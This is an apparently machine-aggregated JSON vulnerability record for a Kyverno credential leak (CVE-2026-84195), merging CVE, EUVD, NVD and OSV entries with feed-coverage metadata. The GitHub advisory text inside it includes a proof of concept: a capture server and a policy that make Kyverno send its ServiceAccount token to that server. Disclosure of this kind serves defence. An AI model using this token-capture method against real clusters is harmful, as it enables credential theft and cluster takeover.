{"id":"CVE-2026-84195","revision":null,"records":[{"revision":"d23538badc5b41ac84bc03063f32f2ec","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-84195","aliases":[],"title":"Kyverno before 1.16.4 Credential Leak via apiCall","description":"Kyverno before 1.16.4 automatically attaches the admission controller's ServiceAccount token to outbound HTTP requests in apiCall service mode without explicit authorization headers. Attackers can exfiltrate the token by directing apiCall requests to external or attacker-controlled endpoints, gaining full control over Kyverno policies and cluster resources.","state":0,"publishedAt":"2026-09-01T11:33:58.484+00:00","modifiedAt":"2026-09-01T12:11:37.233+00:00","affected":[{"ecosystem":"Vendor product","name":"kyverno","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"kyverno\",\n                    \"product\": \"kyverno\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:golang/github.com/kyverno/kyverno\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"1.16.4\"\n                        },\n                        {\n                            \"version\": \"1.16.4\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","score":8.3,"severity":"HIGH"},{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","score":7.7,"severity":"HIGH"}],"references":["https://github.com/kyverno/kyverno/security/advisories/GHSA-8wfp-579w-6r25","https://www.vulncheck.com/advisories/kyverno-before-1.16.4-credential-leak-via-apicall"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-84195","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-84195","identifiers":["CVE-2026-84195"]},"retained":false,"historicalAffected":[]},{"revision":"0c1a3f323d05406caee279155d597c08","observedAt":"2026-11-11T17:00:42.119+00:00","statement":{"source":"euvd","id":"EUVD-2026-69032","aliases":["CVE-2026-84195","GHSA-4x34-82r8-65cf"],"title":"Kyverno before 1.16.4 automatically attaches the admission controller's ServiceAccount token to outbound HTTP requests in apiCall service mode without explicit authorization headers. Attackers can exfiltrate the token by directing apiCall r…","description":"Kyverno before 1.16.4 automatically attaches the admission controller's ServiceAccount token to outbound HTTP requests in apiCall service mode without explicit authorization headers. Attackers can exfiltrate the token by directing apiCall requests to external or attacker-controlled endpoints, gaining full control over Kyverno policies and cluster resources.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","score":8.3,"severity":null}],"references":["https://github.com/kyverno/kyverno/security/advisories/GHSA-8wfp-579w-6r25","https://www.vulncheck.com/advisories/kyverno-before-1.16.4-credential-leak-via-apicall"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-69032","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 1, 2026, 11:33:58 AM","dateUpdated":"Sep 1, 2026, 12:11:37 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-69032","identifiers":["EUVD-2026-69032","CVE-2026-84195","GHSA-4x34-82r8-65cf"]},"retained":false,"historicalAffected":[]},{"revision":"772354db2bb14bf88d332f3d3d86c76e","observedAt":"2026-10-25T16:19:10.271+00:00","statement":{"source":"nvd","id":"CVE-2026-84195","aliases":[],"title":"Kyverno before 1.16.4 automatically attaches the admission controller's ServiceAccount token to outbound HTTP requests in apiCall service mode without explicit authorization headers. Attackers can exfiltrate the token by directing apiCall r…","description":"Kyverno before 1.16.4 automatically attaches the admission controller's ServiceAccount token to outbound HTTP requests in apiCall service mode without explicit authorization headers. Attackers can exfiltrate the token by directing apiCall requests to external or attacker-controlled endpoints, gaining full control over Kyverno policies and cluster resources.","state":0,"publishedAt":"2026-09-01T12:17:49.13+00:00","modifiedAt":"2026-09-10T15:43:03.76+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":8.3,"severity":"HIGH"},{"system":"CVSS 3.1 · disclosure@vulncheck.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","score":7.7,"severity":"HIGH"}],"references":["https://github.com/kyverno/kyverno/security/advisories/GHSA-8wfp-579w-6r25","https://www.vulncheck.com/advisories/kyverno-before-1.16.4-credential-leak-via-apicall"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-84195","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Awaiting Analysis","weaknesses":["CWE-200"],"productCriteria":[],"sourceDates":{"published":"2026-09-01T12:17:49.130","lastModified":"2026-09-10T15:43:03.760"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-84195","identifiers":["CVE-2026-84195"]},"retained":false,"historicalAffected":[]},{"revision":"50c0e8ad7b0e4b219f9e07cde6712c8c","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-8wfp-579w-6r25","aliases":["BIT-kyverno-2026-84195","CVE-2026-84195","GO-2026-5268"],"title":"Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)","description":"### Summary\nKyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints.\n\nThe behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in.\n\n---\n\n### Details\n\nKyverno's apiCall executor (`pkg/engine/apicall/executor.go`) reads the ServiceAccount token from:\n\n`/var/run/secrets/kubernetes.io/serviceaccount/token`\n\nand injects it into every HTTP request as:\n\n```\nAuthorization: Bearer <token>\n```\n\nThis occurs when no explicit `Authorization` header is defined in the policy.\n\n#### Root cause\n\n```go\nif req.Header.Get(\"Authorization\") == \"\" {\n    token := a.getToken()\n    if token != \"\" {\n        req.Header.Add(\"Authorization\", \"Bearer \"+token)\n    }\n}\n```\n\nThis logic introduces several issues:\n\n- **Implicit credential forwarding** to arbitrary endpoints\n- **No trust boundary validation** (external/internal distinction)\n- **Undocumented behavior**\n- **Header.Add instead of Set** allows duplication\n- **No token sanitization** (potential trailing newline)\n\n---\n\n### PoC\n\n#### Preconditions\n\n- Kyverno installed (v1.17.1 tested)\n- A policy using `apiCall.service.url`\n\n---\n\n#### Step 1 — Deploy capture server\n\n```bash\nkubectl run capture --image=python:3-slim --restart=Never -- \\\npython3 -c \"\nimport http.server\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n  print(self.headers.get('Authorization'), flush=True)\n  self.send_response(200)\n  self.end_headers()\nhttp.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()\"\nkubectl expose pod capture --port=8888\n```\n\n---\n\n#### Step 2 — Create policy\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n  name: token-leak\nspec:\n  rules:\n  - name: test\n    match:\n      any:\n      - resources:\n          kinds: [\"Pod\"]\n    context:\n    - name: r\n      apiCall:\n        method: GET\n        service:\n          url: \"http://capture.default.svc:8888\"\n        jmesPath: \"@\"\n```\n\n---\n\n#### Step 3 — Trigger\n\n```bash\nkubectl run test --image=nginx\n```\n\n---\n\n#### Step 4 — Observe token\n\n```bash\nkubectl logs capture\n```\n\nOutput:\n\n```\nAuthorization: Bearer <SA_TOKEN>\n```\n\n---\n\n### Impact\n\n#### Vulnerability class\n- Credential exposure / leakage\n\n#### Impact details\n\n- Exposure of Kubernetes ServiceAccount token\n- Token grants:\n  - Full control over Kyverno policies\n  - Ability to create/delete webhooks\n  - Read cluster-wide resources\n  - Privilege escalation and persistence","state":0,"publishedAt":"2026-04-16T21:37:29+00:00","modifiedAt":"2026-09-25T14:25:37.2131455+00:00","affected":[{"ecosystem":"Go","name":"github.com/kyverno/kyverno","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.17.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/kyverno/kyverno/security/advisories/GHSA-8wfp-579w-6r25","https://github.com/kyverno/kyverno"],"sourceUrl":"https://github.com/advisories/GHSA-8wfp-579w-6r25","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-8wfp-579w-6r25","identifiers":["GHSA-8wfp-579w-6r25","BIT-kyverno-2026-84195","CVE-2026-84195","GO-2026-5268"]},"retained":false,"historicalAffected":[]},{"revision":"2318176b62f34d388873a4ac59f12bf2","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5268","aliases":["BIT-kyverno-2026-84195","CVE-2026-84195","GHSA-8wfp-579w-6r25"],"title":"Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak) in github.com/kyverno/kyverno","description":"Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak) in github.com/kyverno/kyverno","state":0,"publishedAt":"2026-06-25T18:43:15+00:00","modifiedAt":"2026-09-25T14:25:37.2131455+00:00","affected":[{"ecosystem":"Go","name":"github.com/kyverno/kyverno","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.17.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/kyverno/kyverno/security/advisories/GHSA-8wfp-579w-6r25"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5268","license":"OSV · upstream source license applies","key":"osv:GO-2026-5268","identifiers":["GO-2026-5268","BIT-kyverno-2026-84195","CVE-2026-84195","GHSA-8wfp-579w-6r25"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-12T11:55:28.1860721+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-12T11:55:28.1860721+00:00","lastSuccessAt":"2026-11-12T11:55:28.4130785+00:00","error":null,"lastVerifiedAt":"2026-11-12T11:55:28.4130791+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-64752486c567b55b31fb0d7225f5222bcd0019564ac0ac5f0649e242c7b19299-4a4604796d7c0adea2c1c677026f25a1e039e4a95710b02ad846575329daaa79","complete":true,"records":424651,"lastAttemptAt":"2026-11-12T11:53:33.8199862+00:00","lastSuccessAt":"2026-11-12T11:53:33.7811873+00:00","error":null,"lastVerifiedAt":"2026-11-12T11:53:33.8199862+00:00","snapshotPublishedAt":"2026-11-12T11:27:22+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-0580dcc98aaa46a8935f8ff576f25037","complete":true,"records":13764,"lastAttemptAt":"2026-11-12T11:56:20.2141865+00:00","lastSuccessAt":"2026-11-12T11:56:20.209+00:00","error":null,"lastVerifiedAt":"2026-11-12T11:56:20.209+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13817,"expectedIdentifiers":13817,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-12T11:55:28.1860721+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-12T11:55:28.1860721+00:00","lastSuccessAt":"2026-11-12T11:55:28.4142299+00:00","error":null,"lastVerifiedAt":"2026-11-12T11:55:28.4142304+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-ea8d0b9744d8407d9df5932458afeb6a","complete":false,"records":13764,"lastAttemptAt":"2026-11-12T11:55:53.6222651+00:00","lastSuccessAt":"2026-11-12T11:55:53.618+00:00","error":null,"lastVerifiedAt":"2026-11-12T11:55:53.618+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13313,"expectedIdentifiers":13817,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-12T11:55:28.0344457+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-12T11:55:28.0344457+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-12T11:53:33.8856695+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-12T11:53:33.8856695+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-f46f74c6a30a9b6e4cfb481719c6d35521ebec2d53ebf163223d093ae587eb9d","complete":true,"records":3106,"lastAttemptAt":"2026-11-12T11:55:28.1484531+00:00","lastSuccessAt":"2026-11-12T09:55:31.1176285+00:00","error":null,"lastVerifiedAt":"2026-11-12T11:55:28.1484531+00:00","snapshotPublishedAt":"2026-11-12T09:48:13+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-e59fd13399d7070c31f5f25102a6bcd537ccba91d773c8427fcf0d07ea0fe2d5","complete":true,"records":231700,"lastAttemptAt":"2026-11-12T11:55:27.8998515+00:00","lastSuccessAt":"2026-11-12T11:55:26.4268762+00:00","error":null,"lastVerifiedAt":"2026-11-12T11:55:27.8998515+00:00","snapshotPublishedAt":"2026-11-12T11:33:13+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}